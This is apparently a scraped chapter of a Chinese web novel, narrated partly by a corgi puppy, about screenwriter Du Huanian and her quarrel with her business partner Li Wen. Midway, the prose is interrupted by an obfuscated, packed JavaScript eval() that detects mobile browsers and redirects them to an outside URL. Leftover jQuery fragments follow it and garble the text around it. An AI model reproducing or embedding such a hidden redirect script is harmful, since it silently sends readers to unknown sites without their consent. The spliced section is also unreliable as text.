我是三年前被她捡到的，那时候我多大其实我不记得，但我知道我还需要喝奶，可是我却总是饿肚子。那已经是深秋了，很冷，我躲在一排高高大大的桶旁边，希望能暖和一点，或者捡到一些吃的。


    她踩着天蓝色的高跟鞋走过来，滴滴答答，脚步声很好听，踩着地上绢黄的落叶，颜色特别漂亮。后来我长大才发现，我其实只看得见这两种颜色，而她那天还穿了一条柠檬黄长裙子，戴了一顶天蓝帽子。


    当时的她，我全部都看得见。我好高兴，忘记了肚子饿。


    然后她蹲下来，抱起我，我一点都不怕她。


    我在一个有很多狗的地方住了好几天，麻麻天天来看我，然后我洗了个热热的澡，麻麻就带我回家了。


    我到新家的第一天早晨，下了雨，据说是两个寒潮相叠，天空阴郁，屋子里暖融融的橘调灯光特别诱人。闹钟已经响了好几遍了，她还不起来，这个麻麻有点懒。她终于冒出了头，我刚跳上去就被她摁进了被窝里。


    终究我的力量有限，唉！


    赖床、起床、洗澡。何芳芳清醒以后的速度吓了我一跳，她穿着睡袍在衣帽间里挑衣服的时候，我还没有搓完我的狗脸。


    陈姨敲敲门，问她想吃什么早餐？她说昨夜梦中回到了家乡，笑说想吃煮米粉。


    吹头发、卷头发、化妆、换衣服，熟练得像一个机器。二十二分钟，她“啧”了一声，说超时了。


    吃了煮粉后，我觉得她的闻起来好多了，更漂亮了。但她涂了口红之后，会变成另一个人，有点凶。


    她会带着我上车，给我坐在副驾驶上，还有一个专门的小型安全带。


    十点，已经错开了早高峰，车在烟灰深青中穿过时空去往颐和路，两旁高大的梧桐树上和地上都是黄叶。


    我对这一段路的印象一直都是冷，很冷，很饿，但从那天开始，我觉得那条路非常温暖。


    车子停在一个院门口，有个男人迎接她，非常恭敬，叫她杜小姐。什么？杜小姐？她跟我说她叫何芳芳呀！我伸长脖子，被她摁回来，然后有个小可爱姐姐走上来接过了我。


    她可是个话痨，麻麻叫她小赵。小赵跟我说她是麻麻的助理，从那天起，我跟着麻麻上班的每一天，很多时候都是和小赵待在一起，那天小赵告诉我，其实我麻麻叫做：


    杜华年。


    啊？我的震惊眼神只有小赵回应了一下下，而已。


    杜华年这三个字的分量是一只狗难以理解的，租在公馆区的工作室都不止是财大气粗这么简单。她尖细的高跟鞋踏在水漫青砖上发出法海敲钵一般的节奏，今天的项目会仍旧听得她犯困。


    回到办公室，财务要来送报表，HR来汇报面试流程。李雯大剌剌走进来时HR还没讲完话，她甩着一身夸张的烫金色垫肩西装和大喇叭裤，短发甩出复古disco的弧度，杜华年看得直接走了个神，冲着她瞪眼抬眉毛，就差吹口哨了。


    李雯看着一旁小椅子上蜷着的奶狗小柯基，也瞪眼抬了个眉毛。


    好不容易人都走了，李雯往桌前椅子里一扔屁股，坐出了地痞资本家的气势，“你今天穿得像去办丧。”杜华年没有回应她，只是翻看着HR留下的面试名单，李雯收起了她的气势，切换成一个过来人絮叨她，“不要再面试这些没用的啦！我们很快就没有出色的剧本了，下头那些小编剧没有你当年的实力，我们撑不了多久了……”


    杜华年没再看她一眼，抽起酒红色小皮包往外走，头仍埋在那份手里的名单中。李雯住了嘴，目送她。再回头盯着小柯基，柯基一抖，就被李雯抱了起来，“你就是她路边捡的小可怜？嗯，至少这女人养了一只宠物，是个好的开始。”


    来到三楼的排练厅，杜华年见到了通过筛选进入面试的五个人，都裸露着上半身，雪白的肌肤和婉约的肌肉线条，精心梳理过的刘海和略施粉黛的脸庞。看见她进来，人人都像打了肾上腺素一般绷直了，恨不得立刻发射冲出天花板。她虽说只是个编剧，但她的工作室有一套完整的电影制作班底，同行业的薪酬福利水准中，她开的条件一向是天花板等级，所以她有最好的导演、摄影、美术、灯光、化妆、服装、道具……而她自己就是最好的编剧。


    除了演员，她这里什么都不缺。


    除了专业，她找人什么都不看。


    即便如此，一个月了，整整一个月，她没有面到一个满意的武行，个个小白脸都只是想往她床上挤。


    象征性地看了五个人的套路表演，她叫他们回去等消息。有人老老实实往门口走，总有一两个胆子大，朝她走过来，姐姐长姐姐短，问她觉得他们怎么样？


    怎么样？老娘只想把你们摔进垃圾桶。她只是想想，抬眼扫过他们的眼神便锋利得刮人，排练厅一瞬走了个干净。她闭上眼揉着眉心叹气，转过头看向排练厅的窗外，秋风萧瑟里，片片梧桐飞叶，玻璃窗倒影出她裹在黑色羊毛大衣里曼妙的身形，大波浪长卷发与血红色双唇，她的脸色白得像秋天冰冷的阳光。


    杜华年是一个合格的资本家，她一直认为，解决所有人的后顾之忧，才能让所有人都卖力工作，所以她不顾李雯的反对，一定要在这个小型工作室里配一个完整体系的食堂。


    “食堂？”李雯听到这件事的时候表达了她能表达的最强烈的反对——


    “基于出资比例，你应该听我的。”


    “基于工作比例，我如果不干活，你的钱就只能打水漂。”


    “那里头也有你的钱！”


    “我也可以让里头没有我的钱。”


    李雯看着她傲慢的脸，心中生出无数拆伙的方案，可最后还是妥协——


    “我可以叫我家厨师单给你做，单给你送，其他人，他没必要啊！”


    杜华年却收起了傲慢，郑重而严肃地叹口气，“李雯，你比我多活那么多年，难道不明白眼界的重要性吗？别执着于这些小钱，如果你总想着抠搜成本，那么你的作品也会是一件缩水的羊绒毛衣，料是好料，却还不如隔壁一件尼龙混纺，糟蹋了啊！”


    李雯瞬间被她的气魄感染了，不自觉地点头，半晌才想起来强调，“我只比你大五岁！不要说得好像我和你差辈儿了！”


    李雯在乎的重点总是很容易被模糊转移，这就是杜华年真实的想法。今天有二十个人在同一时间到一楼食堂吃饭，她从二楼把柯基抱了下来，亲自泡了一碗羊奶拌狗粮给它，然后看着它吭哧吭哧地埋头苦吃，觉得十分治愈。李雯坐到她对面，窗外正好是一排竹子。她问给狗起了什么名字？


    猫猫。


    据说艺术家和疯子是同一种人，李雯想，食堂叫做潇湘馆，狗子叫做猫，这名只有杜华年起得出来。


    她知道这只是李雯的开场白，于是，“说吧，你今天一直憋着的话。”


    “最近五年，院线、小说平台、游戏平台，武侠类型都不在前五，市场因素应该要兼顾。”李雯认真看着她。


    她吃一口面，“数据我更熟。”


    “所以啊，停止找武行吧，预算该拿来聘些演员，至少是有合作约的，这样我们就有一个闭环了。”


    “我是个写故事的人。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908101|192409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她看着地上吧唧嘴的猫猫一脸心满意足地趴在脚边。


    “市场喜欢什么故事，你就写什么故事，不冲突。”


    “你怎么知道，没人看是因为没人爱看呢？不可以是因为没有人写，所以爱看的人才没东西可看？”


    她突然锋利的眼神盯得李雯心尖一颤。这是李雯久违的目光，她有些艰难才找回自己的声音，“现在不是你让人看什么，人就必须看什么的时代了。”


    她听得到李雯话中的讥诮，她知道这话说出来会让人笑她天真狂妄，但她还是说：“只要我写得够好。”


    李雯妥协，“这也并不影响你招一些演员。导演你养着，编剧你养着，服化道、美灯摄，你都养着，人家一个剧组自己就能配齐。行行，你养，但是这些人他们很难挣外快，因为这些工作一没有那么缺人，二附加值不高。可是演员不一样，工作室有戏，他们在工作室拍，工作室闲了，他们可以接外戏，合约在自己手上，抽的回佣可以加长运转周期，你也有更多时间写你的梦想，一举两得呀！”


    李雯的口气妥协了，但她的心没有，在她眼里，杜华年已经疯了一个月了，哦不，已经疯了一年了，这一年，她一个字都不写。


    潇湘馆里吃饭的人跑了一半，猫猫不知道什么时候悄悄蜷到了角落里。


    “我没有跟你谈虚无的东西。”杜华年放下碗，“我拿最佳编剧的本子就是个冷门小众的类型。逆势而上的，才是真实力。”


    她嚣张的态度李雯见得多了，但仍旧很难习惯，她猛顶后糟牙，“你追求你的实力，没问题，你嫌挣钱的故事俗气，那我来做，也没问题啊！”


    杜华年微微勾起左边嘴角，“李雯，就是因为你从来不懂不遗余力是什么意思，所以你才会一直依赖你爸的钱。”


    这话简直就是在骂李雯除了有个好爸，一无是处。但偏偏她骂得非常柔中带刚。


    李雯真生气了，气得除了喊她全名别无他法，“杜华年！”她是点着头往外蹦的字，喘口气又一遍，“杜华年！！”喊完还偏头看了一眼整个食堂，人已经走空了，还是不解气，再来，“杜华年！！！”这回她直接站了起来，居高临下看着杜华年，“你这个动不动就人身攻击的毛病能不能改？能不能？”


    杜华年抬眉看着她，“是你先动手的。”表情里还带着狼崽子的凶狠。


    李雯眉毛飞到了发际线，“我攻击你什么了？”


    杜华年张嘴想说，却吐口气闭上了嘴，朝天翻起白眼。李雯不是第一次看见她这番冷暴力的嘴脸了，她感到无比疲惫，抽起包就走。


    潇湘馆只剩下杜华年和猫猫。


    小柯基吧嗒吧嗒挪过来，抬起头往她身上招呼软踏踏的小爪子。她长叹一声，弯腰抱起了猫猫。只有她自己知道，她被踩到了哪条尾巴。她不确定李雯到底懂不懂她，可是她们毕竟合作了那么久。


    在世人眼里，有才华的人总是幼稚的，李雯也不过是把她当做一个幼稚的人，不然为什么她总用一种哄小孩的语气去包裹她的愤怒呢？


    还有眼神，她很不喜欢每次讨论发生冲突时，李雯看她的眼神，她觉得她不懂商业，只懂理想。怎么了？理想很轻贱，钱最伟大？谁跟她说她不懂钱的伟大？她从来不觉得不能挣钱的理想配叫做理想。


    她的理想一定能挣钱。不然这么些年，挣钱的是什么？她摸着狗，觉得幸好上周捡了它。


    我的麻麻其实很悲伤，那天充满食物香气的房间里最后只剩下我和她，她抱着我，我知道她根本不是生气，她是觉得害怕，虽然我不知道她害怕什么。